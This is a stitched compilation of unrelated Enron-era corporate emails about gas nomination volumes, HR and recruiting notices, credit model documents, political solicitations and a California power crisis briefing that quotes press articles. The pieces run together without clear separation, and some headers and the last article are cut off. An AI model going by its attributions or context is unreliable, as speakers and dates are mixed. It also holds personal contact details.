The volumes listed below are Final volumes - note that the deadline for BUG 
has
changed!  I still need to give you Peco volumes.
---------------------- Forwarded by Kim Novsek Bizik/CES/ColumbiaGas on
12/27/99 11:44 AM ---------------------------

12/27/99 09:43 AM

Subject: JANUARY 2000 NEEDS

Good Morning.  I have listed my needs below for all but Peco.
The red can be off Anr or Tgt.  Please advise.
The green is done - just need the activity number.
I have also included my nom deadline - I have a nom due today - LILCO.  Please
advise.

ANR
 CG&E- deliveries to Springboro 1550 dth/day LDC Nom Deadline is
12:30 on the 30th - note this can be served off TGT

Tetco
 BUG  145 dth/day LDC Nom Deadline is noon on the
28th
 Con Ed 261 dth/day  (estimate ONLY) LDC Nom Deadline is 2
pm on the 30th
 PECO
 PA Gas
 PSEG  1696 dth/day LDC Nom Deadline is 10 pm on the 29th
 Etown  23 dth/day LDC Nom Deadline is noon on the
29th
 NJN  7528 dth/day LDC Nom Deadline is 12:30 est on
the 30th

CNG - PA gas for PECO /day  (If we have a problem flowing this much,
please let me know as soon as possible so we can buy delivered gas to PECO's
gate from one of the other suppliers)

Transco
 LILCO  382 dth/day    (capacity release is also for
382) LDC Nom Deadline is noon on the 27th
 PSEG  189 dth/day LDC Nom Deadline is 10 pm on the
29th
 S Jersey  113 dth/day Transco nom must show Enduser # 012224 to
be confirmed- LDC Deadline is 12:30 on the 30th
 Piedmont 1113 dth/day LDC Nom Deadline was 10:30 est on
the 22nd - just need activity number now
 PSNC  190 dth/day (CES will get the capacity release for
this from PSNC)
   The supply will be from PSNC's pool #7620 (this is
their station 85 pool)

Texas Gas
 DP&L  1298 dth/day  LDC Nom Deadline is
12:30 est on the 30th
 CG&E  1550 dth/day LDC Nom Deadline is 12:30 on
the 30th - note this can be served off TGT

Are you available to attend our next Advisory Meeting on June 14, 2001?

Here is the draft agenda:

 <<AGENDA-draft.doc>>

Please let me know.

Kate Fang
215-898-1212
Wharton Risk Management and Decision Processes Center

 - AGENDA-draft.doc

You de MAN

	From:  Scott Goodell @ ENRON                           03/07/2001 10:08 AM
	
cc:  
Subject: New Power

Hey Take a look at deal 656574.  I rolled the deal per porter for 3/8.

Did I do it correctly?
Scott

I apologize for not including the following curve in the original list:
GDP-Iroquois - $5.80

It looks like all the other ones are done, is that correct?
PL

Twanda, would you please print this and also the attachment -- with the 
notes?  Thanks.  MHC

----- Forwarded by Michelle Cash/HOU/ECT on 05/18/2000 11:00 AM -----

	Jane Allen
	05/02/2000 08:47 AM
		 
		 To: Michelle Cash/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Green Card

I have prepared the attached and forwarded to Drew Lynch.  I am meeting with 
him today.  From my understanding, he agrees with the attached, so we can 
move forward with the payback letter.  Can you assist?

Thanks,

Jane

---------------------- Forwarded by Jane Allen/HOU/ECT on 05/02/2000 08:45 AM 
   
	From:  Jane Allen                           03/13/2000 03:40 PM
	
cc:  
Subject: Re: Green Card  

I agree but there is still no policy in place.  We need to develop a 
mechanism for charging the green cards as well.  Can you assist me with 
drafting something that I can get the individuals to sign?  We currently have 
about 25 in process.

Thanks,

Jane

03/13/2000 03:34 PM
cc:  
Subject: Green Card

Jane,

When the Green Card Task Force was alive, we discussed a payback provision if 
the person left within two years after receiving a green card (voluntarily).  
Is this being done?  If not, I think we should talk about it, given all the 
time, energy, resources, funds, etc., being expended on getting a person a 
green card.

Michelle

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 04/04/2001 
03:27 PM ---------------------------

Ben Parsons
04/04/2001 08:47 AM
To: Iris Mack/ENRON@enronXgate
cc: Vasant Shanbhogue/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT, Scott 
Salmon/EU/Enron@Enron, Bryan Seyfried/LON/ECT@ECT, Nigel Price/LON/ECT@ECT, 
Tomas Valnek/LON/ECT@ECT 
Subject: Enron Credit Model Docs

Iris

Vasant informed me that you would be helping the quant efforts of Enron 
Credit, with the first job to be compiling model documentation to be sent to 
Darrell Duffie. I've attached below a pretty complete set of current docs we 
have produced, in no particular order:

Nigel's doc on FMC curve generation (he claims it is out of date now though):

FMCMATHS.DOC

My doc on general theory we're using for pricing and default probability 
generation:

CREDIT PRICING 2.1.DOC

My doc on asset swap calculation (there is one error to correct)

ASSET SWAP DFIS.PDF

My doc on Placement Model (a second version of the model incorporating 
ratings has yet to be documented)

PLACEMENT MODEL 1.0.1.DOC

George's doc on the neural network placement model:

NEURAL NETWORK 1.0.DOC

My doc on the VAR model used for credit:

VAR MODEL 1.0 .DOC  

and Kirstee's which preceded it:

CREDITVAR2.DOC

Nigel's doc on the portfolio model used for CDOs and basket trades:

SYNTHETICCDOS.DOC

Katherine's doc on correlations:

CORRELATIONS.DOC

Let me know if you need any more information about these models and their 

Regards

Ben

PS I've had to zip the files up as they were too big:

we are VERY close!  when were you here?  and why are you slummin on the gas floor so much?

Sent:	Thursday, September 27, 2001 4:06 PM
Subject:	

Every time I pop up there you are huddled up and yappin w/Barry!
PJH

Larry (Anti Graffiti Task Force Leader),
 
Graffiti sighting on Whitney, between West Drew and Welch (closer to Welch) on a large utilities box - can't miss it
 
Get 'em!!!!!!!!!
 
Amy B
 
Yahoo! Groups Sponsor	 
Click Here! <http://rd.yahoo.com/M=194081.1637497.3177299.1261774/D=egroupweb/S=1705044493:HM/A=766942/R=0/*http://www.ediets.com/start.cfm?code=3225>	
  <http://us.adserver.yahoo.com/l?M=194081.1637497.3177299.1261774/D=egroupmail/S=1705044493:HM/A=766942/rand=777465502>	

emca-unsubscribe@egroups.com

Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service <http://docs.yahoo.com/info/terms/>. 

David, do we need to "volunteer" people to participate?  Do we want a more 
structured process?

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/10/2000 
   
	From:  Shelly Jones, Recruiting Manager @ ENRON                           
10/10/2000 06:03 PM
	
To: All Enron Employees North America
cc:  
Subject: Associate/Analyst Super Saturday Participation

Enron Managing Directors, Vice Presidents, Directors, and Managers  Who 
Utilize the Associate/Analyst Pool

As a follow up from a "SAVE THE DATE"  email regarding your participation in 
the  Associate and Analyst  Super Saturday process, now is the time to select 
your dates to attend and participate.

Below are the dates for Super Saturday weekends during the upcoming 
recruiting season.  If you are Houston-based or if you know you will be in 
Houston on business at the appropriate times please click the link below to 
volunteer.  

http://axis.enron.com/notice/ssinvite.asp    
(When selecting dates please avoid selecting to interview candidates who 
attend the schools for which you are a team member.)

Associates     Analysts
October 27-28, 2000    November 3-4
Thunderbird, UT, Georgetown, Rice  Rice, UT, Baylor, A&M, OU, Florida, LSU, 
UHCL

November 10-11, 2000    November, 17-18, 2000
Columbia, Stern NYU, UCLA, Darden, Cornell Penn, UVA, Vanderbilt, Michigan, 
Howard, AUC, 
Vanderbilt, Michigan    UHMain

December, 1-2, 2000    December 8-9, 20000
Chicago, Kellogg, Harvard, Wharton, MIT Wellesley, overflow and re-schedules 
from previous s/s

Friday, December 15, 2000  
Carnegie Mellon

Thank you for your support of the Associate and Analyst Programs.
Shelly Jones

The NYISO is reserving hours beginning 9:00, 18:00, and 23:00 in the
February 16, 2002 Real-Time Market.

Prices in the February 17, 2002 Day-Ahead Market are correct.

This e-mail information is a copy of the official posting which can be
found at the following address of our website:

---

	Monica - Vacation

Date:		10/11/2000

CPR and First Aid Certification
CPR and First Aid certification is being offered on Thursday, November 15, 2001, from 1:30 p.m. - 5:30 p.m. in the Body Shop, Studio B.  Cost is $10 for employees and EDS; $40 for contractors.  To register or for more information contact mailto:wellness@enron.com.  Registration deadline is Monday, November 12.  

The M. D. Anderson Mobile Mammography van will be at Enron November 12-16, 2001, from 8 a.m. - 4 p.m.  Cost is $25 for Enron employees, spouses, retirees and EDS; $85 for Contractors.  Payment must be made by check or money order ONLY, payable to Enron Corp., and is due at time of service.   NO CASH WILL BE ACCEPTED.  Appointments can be made by calling 713-745-4000. For more information about M. D. Anderson's mobile mammography program:   http://www.mdanderson.org/Departments/MobileMamm/dIndex.cfm?pn=29C87A2E-B66A-11D4-80FB00508B603A14.  

Please consider adding an extra $1 to the mammogram cost for The Rose.  The Rose is a non-profit organization that provides mammograms to women without access to medical insurance.  http://www.the-rose.org/.  Other inquiries can be directed to:  mailto:wellness@enron.com.  

The office of Personnel Management for the Federal Government, today
announced the 2001 Holiday Schedule for Federal
Employees.? There will be two less Holidays in Washington DC next year.
Halloween and Thanksgiving have been canceled.
The reason for this change: The witch is moving to New York and taking the
Turkey with her.
Thanks for your continued support.

FYI...Susan sent this memo to all gas functional groups this morning.

---------------------- Forwarded by Brent A Price/HOU/ECT on 06/12/2000 07:37 

Susan Harrison
06/12/2000 01:33 PM
cc:  
Subject: 

NORTHERN NATURAL GAS

Reviewed Title V Operating Permit renewal applications with field teams for 
Finney Co. 1, Finney Co. 3 and Fowler.  Contractor has made revisions and the 
permit applications will be overnighted to the State of Kansas for Monday, 
September 10, 2001 delivery.

TRANSWESTERN

EOTT

Started EPA 308 Request response Tuesday, September 4, 2001 at Russell, 
Kansas and for EOTT releases in the Amarillo Region.  Large contingency of 
employees worked jointly to provide files on each release experienced since 
1998.  DES had Title V Operating Permits due so environmental coordinators, 
Steve Mitchell and Monte Stebens, stayed in Russell until all files were 
completed. DES would like to thank the environmental coordinators and all 
other employees who worked on the information response.  Everyone did an 
excellent job.

GENERAL INFORMATION

Submitted semi annual NSPS reports for P-1 and Plains C/S's.

Congrats!!!!!  That is one good looking baby!!!!  Let us know when  we can 
come over to check him out.  

p.s.  i'm bringing brewski's over for rob!!

49 Days Left till Election Day!

With just 49 days left until Election Day, we need
your help to elect a pro-business Congress. Each
day there is news from highly contested targeted
Congressional races. Each week we will keep you
informed about how you can help make sure
business is victorious on November 7.

Today, we need you to fill out an FEC required form to
allow us to solicit contributions from you and your
organization. Please click here
http://www.uschamber.com/Elections/_uschamberpac.htm
to fill out the form that will help elect a pro-business Congress!

*****************************************
Make a Difference for Business.

Tuesday, November 7th is your day.... your day to
vote, your day to make your voice heard on the
issues important to you, your family, your community
and your country. Please click on the following to
find out how you can help get out the vote for
business -
http://www.uschamber.com/Elections/Get-Out-The-Vote/.

Election FACT

DOES YOUR VOTE COUNT? ---- YES, and will
make the difference in helping to elect pro-business
candidates!

In 1996, Jon Fox won his congressional race in
Pennsylvania by just a 84-vote margin out of more
than a quarter million cast.

In 1994, Sam Gejdenson won his congressional race
in Connecticut by a margin of just 21 votes.
In the 1960 presidential race, John F. Kennedy
defeated Richard Nixon by two-tenths of one
percent of the vote. That averages out to less
than one vote per precinct nationwide. Furthermore,
Kennedy would have been defeated if one more
person in each of ten Cook County (Illinois) precincts
had voted for Nixon.

To unsubscribe, please reply to this email and type
unsubscribe in the subject line.

Start Date: 10/16/01; HourAhead hour: 3;  HourAhead schedule download failed. Manual intervention required.

Go ahead and sign it - I did.  The law in Va. is that once appointed you can 
not revoke (I spoke w counsel on this). Mom's probate estate is very small.

thanks

david_p_smith@hotmail.com

davidpsmith@worldnet.att.net null & void as of sept13th.

later
smith:)

We have been pulling together these weekly(sometimes more often) summaries
for internal purposes.  Would you find it helpful to be on the distribution
list?  Hope you are doing well.  Look forward to touching base soon.
----- Forwarded by Suzanne Nimocks/HOU/NorthAmerica/MCKINSEY on 03/28/2001
03:41 AM -----

    TO:   Pru Sheppard
    BCC:  Suzanne Nimocks

   FROM:   Pru Sheppard
      DATE:    March 27, 2001

       California Power Crisis Update (No. 10)

      DEVELOPMENTS THIS WEEK, 3/23/2001

          The weeks highlights include:

      ?   Continued indications that the issue of market power and possible
      remedies for it is likely to remain a high profile issue in
      California and elsewhere (both retroactively and prospectively)
      ?   An ironical situation with respect to QFs in which QF power under
      contract is effectively being released into the market at higher
      prices
      ?   A court order requiring Reliant to continue to sell power to the
      ISO even if it is not being paid in a full and timely manner
      ?   Another Stage 3 emergency and rolling blackouts

      Market power

          There are continued indications that the issue of market power
      will not be settled simply.  This week there was a lengthy and
      politically influential front page story in the New York Times about
      FERCs passive approach to policing generators (Critics Say U.S.
      Energy Agency Is Weak in Oversight of Utilities). The story was by
      Jeff Gerth and Joseph Kahn. (Jeff Gerth's 1992 story on the
      Whitewater deal is viewed by journalists to have been the origin of
      what eventually became a multi-year investigation of Bill Clinton.)

          The key issues are familiar:

      ?   Does market power exist to a degree that warrants remedies such
      as price caps, refunds, and so on?
      ?   If so, what is the basis for asserting that market power exists
      and what is the remedy?  (See the discussion in the New York Times
      article on the "good hours" vs. "bad hours" approach and the
      associated political decision not to deal with "good hours").
      ?   Can market power be used as leverage to eventually settle
      generator bills in California at something less than 100 cents on the
      dollar.   (The California ISO filed a complaint claiming $6 billion
      in overcharges this week.)

      The QF irony

          Through the 1990s, QF contracts were projected to be the source
      of stranded costs because they were priced "way above market."  In
      recent months, in California, they look like a bargain (although some
      are not such great bargains because a portion of their price is tied
      to gas).  You would think that the utilities would request QFs to
      maximize their output.  But credit problems have created an ironical
      situation.  The facts:

      ?   PG&E and Edison have not been paying the QFs fully and promptly
      for some time.
      ?   The QFs form a creditors committee and threaten to push PG&E and
      Edison into bankruptcy. (Some gas-fired QFs had to shut down because
      they did not have money to pay for the gas.)
      ?   Last week's court decision allows MidAmerican/CalEnergy to
      essentially sell its power to others even though the QF contract
      "dedicates" the output to the purchasing utility.
      ?   CalEnergy does so immediately, selling to El Paso.

      The Reliant Order

          A court ordered Reliant to continue to sell to the ISO, when
      requested, regardless of whether Reliant had been paid fully and
      promptly for past deliveries to the ISO.  Reliant announced it will
      appeal the order.

          This is somewhat of a contrast to the QF situation except that
      the circumstances governing the 2 situations are probably different.
      The QF contracts pre-date the ISO and are with the utilities and most
      likely make no reference to providing power during emergencies.  In
      fact, many QF contracts have the opposite provision: authority for
      the utility to cut takes during so-called "light load" periods.

      Stage 3 emergency and rolling blackouts--again

          There was another Stage 3 emergency in California ? with rolling
      blackouts this week.  This prompted everyone to wonder why this was
      happening in March.  Among the factors:

      ?   Increased demand from summer-like temperatures
      ?   Cutbacks in imports
      ?   Loss of 1400 MW due to a transformer fire at an Edison plant
      ?   Loss of about 3100 MW from QF plants that were forced to shutdown
      because they could not afford gas bills  (VV)

      MARKET COMMENTARY

      (For easier printing of all the articles in this section use the file
      at the end of the section)

      Critics Say U.S. Energy Agency Is Weak in Oversight of Utilities
      By JEFF GERTH and JOSEPH KAHN
      03/23/2001
      The New York Times
      Page 1, Column 1
      c. 2001 New York Times Company

      WASHINGTON, March 22 -- The pressure was intense when federal
      regulators met
      privately last month to debate remedies for soaring electricity
      prices in
      California.
      Officials of the Federal Energy Regulatory Commission, the agency
      whose mandate
      is to ensure ''just and reasonable'' electricity rates nationwide,
      had evidence
      that a few companies had been selling electricity to California at
      prices far
      above the cost of generating it. The agency faced an imminent
      deadline to
      challenge those prices or let the companies possibly pocket hundreds
      of millions
      of dollars in unfair profits.

      An internal memorandum laid out two choices. The agency could audit
      and punish
      ''bad actors,'' the companies that were exploiting the market. Or it
      could
      identify ''bad hours,'' when electricity shortages were most acute
      and spiking
      prices were arguably nobody's fault, and order refunds for only the
      most
      exorbitant prices.
      ''It may be easier to identify bad hours than bad actors,'' the
      memorandum said.

      The commission took the easier way. It decided not to investigate
      reports of
      abuses by companies, but issued an order that could require them to
      refund to
      the state utilities up to $124 million collected during a relatively
      few ''bad
      hours'' in January and February. That is hundreds of millions of
      dollars less
      than California might have claimed, since the most potential
      overcharging
      occurred during ''good hours,'' when power was more plentiful but
      prices were
      often just as extreme. The order ignored those hours.
      Today, in a criticism of the agency's lack of aggressiveness,
      California
      regulators estimated that generators had charged $6.2 billion above
      competitive
      levels over 10 months. They urged the agency to dig deeper, hoping it
      would
      demand more refunds or other stiff remedies. But the agency's track
      record --
      one of complacency in the eyes of state officials -- leaves
      regulators skeptical that Washington will confront the big power
      producers.
      The small, obscure agency, tucked behind the rail yard of Union
      Station here,
      has largely soft-pedaled its role as the electricity industry's top
      cop, even
      though it has wide authority to keep power companies in line. To keep
      rates
      reasonable, it can impose price caps, strip companies of the right to
      charge
      market rates, force them to return excessive profits and even suspend
      deregulation altogether.
      Instead, the agency has largely left it to private companies to pry
      open the
      $250 billion electricity industry, which has historically been
      controlled by
      monopoly utilities and state officials. The agency's defenders,
      including its
      chairman, Curt Hebert Jr., a fierce advocate of unfettered markets,
      say that its
      largely hands-off approach reflects the delicate balancing of
      competing
      interests -- a commitment to protect consumers while not stifling
      market forces.

      But politicians, utility executives, energy economists and local
      regulators say
      California's rolling blackouts and skyrocketing electricity prices
      are the signs
      of a market running amok. They accuse the agency of standing aside as
      companies
      manipulate their way to windfall profits. The agency's critics, who
      include one
      of its own commissioners and numerous staff members, say that its
      enforcement
      mission has been blunted by free-market passions and the influence of
      industry
      insiders in its ranks.
      When the agency began its first national investigation of high
      electricity
      prices last year, it named a newly recruited industry insider, Scott
      Miller, to
      lead the effort. Mr. Miller and his colleagues said in their report
      that there
      was ''insufficient data'' in California to prove any profiteering by
      generating
      companies. Yet his own former employer, PG&E Energy Trading, was at
      the time a
      subject of a civil antitrust investigation by the Justice Department
      that
      focused on electricity market abuses in New England.
      The agency has given state regulators a lead role in monitoring local
      power
      markets. Yet even as these regulators have urged the agency to be
      more
      aggressive in investigating suspicions that companies have abused
      their power in
      California, New England, the Midwest and the mid-Atlantic, they have
      frequently
      been ignored or rebuffed.
      Critics say that the agency began deregulation before it was ready or
      willing to
      make sure the markets worked effectively. They accuse it of showing
      favoritism
      to industry -- allowing companies, for example, to ignore
      requirements to file
      detailed reports of market transactions that are critical to proving
      accusations
      of market abuses.
      ''We need to wake up to the fact that this is a dysfunctional market
      that is
      being gamed and manipulated by those who participate in it,'' said
      William
      Massey, a commissioner of the agency who has become one of its
      leading critics.
      The agency's inaction, the critics say, leads to ''gaming'' --
      jockeying for
      profits that does not necessarily involve illegality -- and outright
      market
      manipulation. Consumers and utilities are the victims, paying
      billions of
      dollars more for electricity than if the markets were truly
      competitive.
      Agency officials acknowledge that enforcement of market rules to curb
      gaming and
      manipulation had not been a high priority in previous years. But they
      defended
      their recent California order as proof that they intend to keep
      markets free of
      abuse. They add that the agency is also pressuring two generators to
      refund
      almost $11 million for possibly manipulating the California market
      last spring.
      Agency officials and some outside analysts say that poorly conceived
      deregulation plans by states, a shortage of power plants, rising
      natural gas
      prices, and even the weather have had more impact on electricity
      prices than
      abuses by companies or any failings by the agency. They say the
      agency must
      balance the competing interests of generators, local regulators and
      utility
      companies if it is to keep deregulation on track.
      ''We're trying to craft a system that gives breathing room to develop
      a market,
      but not so much room that undue market power punishes consumers,''
      Mr. Hebert
      said.
      Fight Over Deregulation
      Today's debate traces back to the 1930's, when President Franklin D.
      Roosevelt
      backed legislation to break up utility monopolies. The Federal Power
      Act of 1935
      gave the Federal Power Commission a mandate to ensure ''just and
      reasonable''
      electricity rates. The Federal Power Commission was abolished in 1977
      and
      replaced by the Federal Energy Regulatory Commission, an independent
      agency with
      1,200 employees that also oversees oil pipelines and the natural gas
      market. The
      president appoints the chairman and four commissioners -- two
      Democrats and two
      Republicans with staggered terms of five years. Two Republican seats
      are
      currently unfilled.
      The deregulation of the electricity markets began in the late 1980's,
      after the
      agency had begun opening the gas markets. By 1996, the commissioners
      issued a
      landmark order that forced utility companies to open their
      transmission lines to
      other utilities and electricity wholesalers. The commission and many
      private
      economists expected that by prying open protected markets,
      electricity prices
      would immediately fall.
      That possibility set off a deregulation frenzy, most prominently in
      California,
      New York, New England and the mid-Atlantic states. Generating
      companies rushed
      to expand in the new, borderless market.
      But the agency's balancing act has grown more difficult as
      deregulation has spread nationwide. Congress has forced it to trim
      its staff in
      recent years. Officials complain that investigating abuses in
      markets strains their resources.
      And as the California crisis has worsened, the commissioners have
      begun sparring
      publicly among themselves about what to do. This week, Mr. Massey, a
      Democratic
      commissioner, and Mr. Hebert (pronounced AY-bear), a Republican, sat
      side by
      side before a House panel and argued diametrically opposed positions.
      Mr. Hebert
      said high prices in California ''were sending the right signals to
      get supply
      there.'' Mr. Massey called the prices that generators were charging
      ''unlawful''
      and said that his agency, by not reining them in, ''is simply not
      doing its
      job.''
      The agency's leadership has been in flux for months. Congressional
      and industry
      officials in Washington say President Bush is considering replacing
      Mr. Hebert,
      whom he named to the top post less than two months ago, with Pat
      Wood, who runs
      the Texas public utility commission. A White House spokeswoman had no
      comment on
      the reports.
      Though Mr. Hebert's positions are not far from those of the Bush
      administration,
      his relations with California leaders may have made his position
      tenuous. Mr.
      Hebert, a Mississippian who is a close ally of the Senate majority
      leader, Trent
      Lott, has warred with California politicians who have proposed new
      solutions to
      the crisis there.
      Mr. Hebert, who has served as a commissioner since 1997, has often
      taken the
      most ideologically free-market position of any commissioner. He
      flatly rejects
      the idea of price caps on electricity as hopelessly ineffective and
      contrary to
      market forces. When Gov. Gray Davis outlined a plan to have the state
      buy
      transmission lines to relieve utility companies' debt, Mr. Hebert's
      response was
      dismissive. ''It's not in the interest of the American public,'' he
      pronounced.
      Even as new electricity markets opened in the summer of 1999, they
      started
      producing nasty shocks. The mid-Atlantic region experienced some
      early
      volatility.
      As the turmoil grew, economists began raising the alarm about a
      phenomenon
      called ''market power,'' the ability of energy traders in the new
      national
      market to sustain prices above the competitive level. Proving such
      abuses is
      difficult, because it requires comparing tens of thousands of
      separate
      electricity transactions with the costs of the generators that
      initiated them.
      Joseph Bowring, who heads the market monitoring unit of the nonprofit
      entity
      that operates the mid-Atlantic transmission system, said that power
      companies
      there had exercised some market power. But only the Federal Energy
      Regulatory
      Commission, not local regulators, had the authority to collect the
      data to
      determine how much market power had been exercised and whether it had
      been
      abusive or not, he said.
      Mr. Bowring said he talked to agency officials about doing so. In the
      end, Mr.
      Bowring and several agency officials said, the agency chose not to
      investigate.
      The decision roiled some agency officials.
      Ron Rattey, a veteran agency economist, wrote a memorandum last June
      describing
      the staff as ''impotent in our ability to monitor, foster, and ensure
      competitive electric power markets.'' The staff, the memorandum said,
      did not
      even enforce a requirement that power companies file detailed
      quarterly reports
      listing essentially every sale they make. Such data would have been
      useful to
      Mr. Bowring.
      Local-Federal Clash
      Local regulators who want to ensure competitive prices often have to
      act on
      their own. Monitors in New England have intervened about 600 times
      since 1999 to
      correct prices they determined had been caused, at least in part, by
      market
      manipulation.
      The federal agency has sometimes chastised them for interfering too
      much.
      The industry, not surprisingly, shares that view. One vocal critic
      was Mr.
      Miller. Before the agency recruited him last July to head its
      division of energy
      markets, he was director of policy coordination for the national
      energy-trading
      unit of PG&E Corporation, the California holding company whose assets
      also
      include Pacific Gas and Electric, the California utility.
      Although the utility has lost billions of dollars during California's
      crisis,
      Mr. Miller's former unit has become one of the most profitable new
      energy
      traders nationwide. PG&E Energy Trading, by several estimates, is now
      the
      second-largest seller of electricity in New England.
      The company has had a rocky relationship with regulators. They
      intervened
      several times in 1999 and 2000 to retroactively cancel auctions they
      said
      produced excessive profits for PG&E and other companies. Mr. Miller
      denounced
      the practice, though he acknowledged in public testimony that his
      company
      sometimes charged ''very high'' prices when it could.
      ''One person's predatory pricing is another person's competitive
      advantage,''
      Mr. Miller said at a public hearing on deregulation in Texas in 1999.
      New
      England regulators too often acted as ''judge, jury and executioner''
      when
      overseeing the market, he said.
      One year later, Mr. Miller and his new colleagues at the federal
      agency got a
      chance to examine New England's problems from the regulators'
      perspective. Their
      Nov. 1 report attributed New England's frequent price gyrations to
      technical and
      regulatory flaws.
      As Mr. Miller's team was preparing its report, the Justice
      Department, whose
      threshold for stepping into possible industry wrongdoing is far
      higher than the
      agency's, began looking into whether price spikes in New England
      pointed to
      unlawful monopoly power or collusion, people contacted by the
      department during
      that inquiry said.
      One subject of the civil inquiry is possible price manipulation in
      one of New
      England's ancillary services markets, people contacted by the
      department said.
      They said the department was examining whether PG&E and two other
      companies
      tried to corner that market for several months early last year. PG&E
      confirmed
      that the Justice Department had contacted it, but denies wrongdoing
      and says it
      has cooperated with the department's requests.
      Mr. Miller has declined to comment on his role at PG&E or at the
      agency. His
      supervisors defended his work and said they had detected no conflict
      of interest
      between his work at PG&E and his duties at the agency.
      Those duties brought Mr. Miller to California last August. With
      prices there soaring, he and his colleagues sat down with several
      utility
      executives at the agency's San Francisco office.
      One executive, Gary Stern, director of market monitoring for Southern
      Edison, wanted the agency to stop what he suspected were market
      abuses by power
      generators. He provided a road map to help investigators figure out
      how power
      companies traded power contracts -- and whether they had manipulated
      the
      markets.
      But when Mr. Miller and his team approached 11 generators and
      marketers --
      including his old employer -- a few weeks later, they did it their
      way. They
      asked eight questions, many of them imprecise, like: ''Describe your
      strategy
      for bidding generation resources into market.''
      This question, Mr. Stern said in a recent interview, ''was equivalent
      to asking
      a suspected burglar how he spent his day.''
      Some agency officials also thought the team should probe deeper. Mr.
      Rattey
      recommended that Mr. Miller seek the quarterly pricing reports that
      marketers
      were supposed to file. But his suggestion was not adopted, agency
      records show.
      Daniel Larcamp, Mr. Miller's supervisor, said ''there might have been
      more
      information that could have been obtained'' in the California
      inquiry. But he
      said the commission gave the staff only three months to finish,
      making it
      impossible to collect and analyze the reams of data involved.
      For Mr. Miller, agency documents show, the investigation was so
      time-consuming
      that he had no time to fill out the financial disclosure form
      required of new
      federal employees. Mr. Miller submitted his form in late January,
      after a
      reporter requested it. Agency lawyers approved the form, but only
      after he
      provided additional information about his job and compensation from
      PG&E. The
      lawyers said Mr. Miller's participation had been permissible because
      PG&E was
      not the subject of the investigation.
      When the staff report was issued on Nov. 1, it found high prices and
      problems in
      the design of the California market. But while the companies ''had
      the potential
      to exercise market power,'' the commission said, there was
      ''insufficient data''
      to prove that they did.
      Some marketers saw the report as an exoneration.
      ''This has been looked at several times, most notably by the FERC and
      nobody has
      found any evidence of market manipulation and profiteering,'' Rob
      Doty, the
      chief financial officer of Dynegy Inc., told a reporter earlier this
      year.
      California Inquiry
      The agency has recently shown signs of wanting to apply pressure on
      generators.
      But its early efforts show how it is treading on new and uncertain
      turf.
      When the California crisis grew severe last December, the commission
      issued a
      refund order, a shot across the bow for generators charging high
      prices. It
      required them to submit detailed data any time they sold electricity
      in
      California for more than $150 per megawatt hour, considered at the
      time a fair
      estimate of the highest costs any of them faced.
      It also told generators that for the next several months, they could
      be forced
      to give refunds if the agency found that they had charged excessive
      prices. The
      commission also said that it would examine bidding practices and
      strategies for
      withholding generating capacity to ferret out any efforts to
      artificially raise
      prices.
      When the agency's own 60-day deadline for examining market data in
      January
      approached, however, it became clear that staff members had not made
      any
      detailed examination. Instead, staff members said, the agency
      scrambled to forge
      a last-minute compromise that would allow it to issue a statement
      opposing high
      prices in the state without a time-consuming investigation.
      During this scramble, a senior staff member, Kevin Kelly, suggested
      focusing on
      bad hours instead of bad actors.
      ''Our attempts to find illegal behavior or legal 'misbehavior' by
      sellers ('bad
      actors') always seems to fail,'' his memorandum said. It said that
      the agency
      could more easily blame high prices on acute shortages during the
      most critical
      hours.
      The suggestion won the day. The commission decided to limit its order
      to the
      hours when California declared a Stage 3 emergency, when supplies are
      critically
      low.
      Mr. Stern of Southern California Edison and several private-sector
      economists
      have attacked the economic logic of that order. They said that the
      commission
      has focused on times when prices might be legitimately high. The
      bigger worry:
      Generators can and often do sustain artificially high prices when
      supplies are
      not as tight, they say.
      Mr. Massey, the Democratic commissioner, dissented from the decision
      for those
      reasons. Because most high-priced transactions in January and
      February did not
      occur during bad hours, he argued, the commission effectively chose
      to bless as
      ''just and reasonable'' the hefty profits generators are making from
      the
      California crisis.
      ''The problem with my agency is that we're so carried away with the
      rhetoric of
      markets that we've gotten sloppy,'' Mr. Massey said. ''We're talking
      about
      electricity. It's the juice of the economy, so it's got to be
      available and
      reasonably priced.''

      Williams defends pricing of electricity
      Associated Press Newswires
      Copyright 2001. The Associated Press. All Rights Reserved.

      TULSA, Okla. (AP) - Williams Cos. Inc. says it can justify the rates
      it charged
      for wholesale power, despite accusations from federal regulators that
      it sold
      over-priced electricity to California.
      Federal regulators claim Williams Energy Marketing and Trading Co., a
      unit of
      Tulsa-based Williams, owes California more than $40 million in
      refunds for power
      it sold to the state's Independent System Operator.

      The Federal Energy Regulatory Commission says that Williams is one of
      several
      power providers responsible for $124 million in overcharges from
      transactions in
      January and February.
      The Independent System Operator, which manages the state's power
      grid, claims
      the state was overcharged $6.2 billion by 21 wholesale power
      providers,
      including Williams, between May and February.
      Williams says the rates it charged California were fair and were
      based on
      production costs and market conditions.
      "Williams is confident that it performed within the guidelines
      established by
      the ISO," said Williams spokeswoman Paula Hall Collins. "We felt like
      we had
      worked within the regulations set up by ISO."
      According to the commission, power prices levied by Williams in
      January and
      February exceeded federal price ceilings based on the cost of natural
      gas and
      other market conditions.
      However, the price ceilings were established after the ISO accepted
      Williams'
      power prices, Collins said.
      The commission will review Williams' explanation and either accept
      the
      justification or order the company to pay refunds.

      Allegheny Energy makes big California connection

      HAGERSTOWN, Md. (AP) - Allegheny Energy Inc. said Thursday it has
      agreed to sell
      $4.5 billion worth of power to California's electricity-purchasing
      agency over
      the next 10 years.
      The company said the contract call for Allegheny to provide up to
      1,000
      megawatts that the Hagerstown-based company has secured from western
      plants through its new energy trading division, Allegheny Energy
      Global Markets
      - formerly Merrill Lynch Global Energy Markets.

      "This is a win-win for both the state of California and Allegheny
      Energy. It
      provides a long-term source of fixed-price energy and should help to
      stabilize
      prices in California," said Michael P. Morrell, president of the
      Allegheny
      Energy Supply division.
      Allegheny Energy is the parent of Allegheny Power, which delivers
      electric
      energy and natural gas to parts of Maryland, Ohio, Pennsylvania,
      Virginia and
      West Virginia.

      Williams plans expansion of pipeline to help power Calif.

      SALT LAKE CITY (AP) - The Williams Cos. plans to expands its Kern
      River
      pipeline, which runs through Utah, to provide more natural gas for
      plants in California.
      Williams' gas pipeline unit in Salt Lake City said Thursday that it
      plans to
      construct nearly 700 miles of additional pipeline that will run
      parallel to its
      existing Kern River line.

      Construction on the $1 billion project is expected to begin next year
